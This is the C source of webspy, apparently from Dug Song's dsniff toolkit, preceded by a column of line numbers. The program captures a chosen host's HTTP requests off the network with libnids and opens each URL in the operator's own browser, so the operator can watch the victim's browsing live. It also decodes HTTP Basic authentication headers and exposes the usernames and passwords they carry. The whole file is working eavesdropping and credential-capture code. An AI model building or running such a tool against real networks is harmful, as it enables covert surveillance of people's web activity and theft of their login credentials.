1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235
|
/*
* webspy.c
*
* Sniff a user's web session, follow it real-time in our browser.
*
* Copyright (c) 1999 Dug Song <dugsong@monkey.org>
*
* $Id: webspy.c,v 1.28 2001/03/15 08:33:05 dugsong Exp $
*/
#include "config.h"
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <err.h>
#include <X11/Xlib.h>
#include <libnet.h>
#include <nids.h>
#include "base64.h"
#include "buf.h"
#include "version.h"
/* for jwz's remote.c. */
extern int mozilla_remote_commands (Display *, Window, char **);
char *expected_mozilla_version = "4.7";
char *progname = "webspy";
Display *dpy;
char cmd[2048], *cmdtab[2];
in_addr_t host;
static void
usage(void)
{
fprintf(stderr, "Version: " VERSION "\n"
"Usage: %s [-i interface | -p pcapfile] host\n", progname);
exit(1);
}
static int
is_display_uri(char *uri)
{
static char *good_prefixes[] = { NULL };
static char *good_suffixes[] = { ".html", ".htm", "/", ".shtml",
".cgi", ".asp", ".php3", ".txt",
".xml", ".asc", NULL };
int len, slen;
char **pp, *p;
/* Get URI length, without QUERY_INFO */
if ((p = strchr(uri, '?')) != NULL) {
len = p - uri;
}
else len = strlen(uri);
for (pp = good_suffixes; *pp != NULL; pp++) {
if (len < (slen = strlen(*pp))) continue;
if (strncasecmp(&uri[len - slen], *pp, slen) == 0)
return (1);
}
for (pp = good_prefixes; *pp != NULL; pp++) {
if (len < (slen = strlen(*pp))) continue;
if (strncasecmp(uri, *pp, slen) == 0)
return (1);
}
return (0);
}
/*
XXX - we should really be sniffing (and HTML-parsing) the returned
pages, not just the request URLs. this is why we don't handle
frames, some CGIs, banner ads, etc. correctly.
*/
static int
process_http_request(struct tuple4 *addr, u_char *data, int len)
{
struct buf *msg, buf;
char *p, *req, *uri, *vhost, *auth;
int i;
buf_init(&buf, data, len);
while ((i = buf_index(&buf, "\r\n\r\n", 4)) >= 0) {
msg = buf_tok(&buf, NULL, i);
msg->base[msg->end] = '\0';
buf_skip(&buf, 4);
req = strtok(buf_ptr(msg), "\r\n");
if (strncmp(req, "GET ", 4) != 0 &&
strncmp(req, "POST ", 5) != 0 &&
strncmp(req, "CONNECT ", 8) != 0)
continue;
vhost = auth = NULL;
uri = strchr(req, ' '); *uri++ = '\0'; strtok(uri, " ");
if (strncmp(uri, "http://", 7) == 0) {
vhost = uri + 7;
uri = strchr(vhost, '/');
memmove(uri + 1, uri, strlen(uri));
}
if (!is_display_uri(uri))
continue;
while ((p = strtok(NULL, "\r\n")) != NULL) {
if (strncasecmp(p, "Authorization: Basic ", 21) == 0) {
p += 21;
i = base64_pton(p, p, strlen(p));
p[i] = '\0';
auth = p;
}
else if (strncasecmp(p, "Host: ", 6) == 0) {
vhost = p + 6;
}
}
if (auth == NULL)
auth = "";
if (vhost == NULL)
vhost = libnet_addr2name4(addr->daddr, 0);
snprintf(cmd, sizeof(cmd), "openURL(http://%s%s%s%s)",
auth, *auth ? "@" : "", vhost, uri);
fprintf(stderr, "%s\n", cmd);
mozilla_remote_commands(dpy, 0, cmdtab);
}
return (len - buf_len(&buf));
}
static void
sniff_http_client(struct tcp_stream *ts, void **yoda)
{
int i;
/* Only handle HTTP client traffic. */
if (ts->addr.saddr != host ||
(ts->addr.dest != 80 && ts->addr.dest != 3128 &&
ts->addr.dest != 8080))
return;
switch (ts->nids_state) {
case NIDS_JUST_EST:
/* Collect data. */
ts->server.collect = 1;
case NIDS_DATA:
if (ts->server.count_new != 0) {
i = process_http_request(&ts->addr, ts->server.data,
ts->server.count -
ts->server.offset);
nids_discard(ts, i);
}
break;
default:
if (ts->server.count != 0) {
process_http_request(&ts->addr, ts->server.data,
ts->server.count -
ts->server.offset);
}
break;
}
}
static void
null_syslog(int type, int errnum, struct ip *iph, void *data)
{
}
int
main(int argc, char *argv[])
{
extern char *optarg;
extern int optind;
int c;
while ((c = getopt(argc, argv, "i:p:h?V")) != -1) {
switch (c) {
case 'i':
nids_params.device = optarg;
break;
case 'p':
nids_params.filename = optarg;
break;
default:
usage();
}
}
argc -= optind;
argv += optind;
if (argc != 1)
usage();
cmdtab[0] = cmd;
cmdtab[1] = NULL;
if ((host = libnet_name2addr4(NULL, argv[0], 1)) == -1)
errx(1, "unknown host");
if ((dpy = XOpenDisplay(NULL)) == NULL)
errx(1, "connection to local X server failed!");
nids_params.scan_num_hosts = 0;
nids_params.syslog = null_syslog;
if (!nids_init())
errx(1, "%s", nids_errbuf);
nids_register_tcp(sniff_http_client);
if (nids_params.filename == NULL) {
warnx("listening on %s", nids_params.device);
}
else {
warnx("using %s", nids_params.filename);
}
nids_run();
/* NOTREACHED */
exit(0);
}
|